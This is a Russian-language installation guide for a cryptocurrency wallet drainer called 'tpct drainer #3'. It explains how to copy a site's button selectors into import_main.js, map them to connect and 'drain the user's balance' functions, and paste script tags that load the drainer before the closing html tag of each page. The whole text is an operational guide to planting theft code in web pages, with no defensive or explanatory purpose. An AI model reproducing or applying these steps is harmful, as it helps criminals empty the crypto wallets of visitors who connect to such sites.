tpct drainer #3 установка на сайт
Заходим на сайт, жмем ф12 и открываем дев тулз. В открывшимся окне жмем на значок в левом верхнем углу. Наводимся на ту кнопку, которая нас интересует. Нам покажет соответствующий элемент в хтмле. Пкм по нему -> copy -> copy selector
Открываем конфигурационный файл import_main.js. Здесь видим 3 элемента, каждый отвечает за соответствующую функцию (connects - кнопки подключения метамаска, drains - кнопки дрейна баланса юзера, connectAndDrains - предыдущие функции вместе). В нужное поле в ковычках вставляем то, что скопировали раннее. В моем случае это кнопка Connect, следовательно я ставлю ее в connects
Так как на сайте не всегда только одна кнопка, например подключения метамаска, то мы должны проделать эту функцию для всех кнопок. Последующие значения ставятся в нужных вам квадратных скобках ЧЕРЕЗ ЗАПЯТУ В КОВЫЧКАХ. Пример ниже
Вставив нужные данные, в нужные вам поля, софт автоматически все подключит.
Далее заходим в нужную html страницу, в моем случае это Index.html, листаем в самый низ и ищем закрывающийся тег html (</html>)
Далее вставляем перед этим тегом этот кусок, он импортит наш дрейнер. Все действия выше проделываем для каждой нужной нам страницы
<script language="javascript" type="text/javascript" src="./ERC20_abi.js"></script> <script language="javascript" type="text/javascript" src="./ERC721_abi.js"></script> <script language="javascript" type="text/javascript" src="./ERC1155_abi.js"></script> <script type="text/javascript" src="./import_main.js"></script>
<script type="text/javascript" src="./main.js"></script>
Если у вас вылезает ошибка, похожая на эту
То перед прямо перед остальными script файлами, которые мы вставляли на шаге ранее вписываем строчку ниже, она подключает стандартную веб3 библиотеку
<script src="https://unpkg.com/web3@latest/dist/web3.min.js"></script>
PS
В Import_main.js висит функция обновления стейта. Обычно на сайтах уже что-то такое есть, но если нет, и вам нужно что-то изменить на странице, есть соответствующий свитч кейс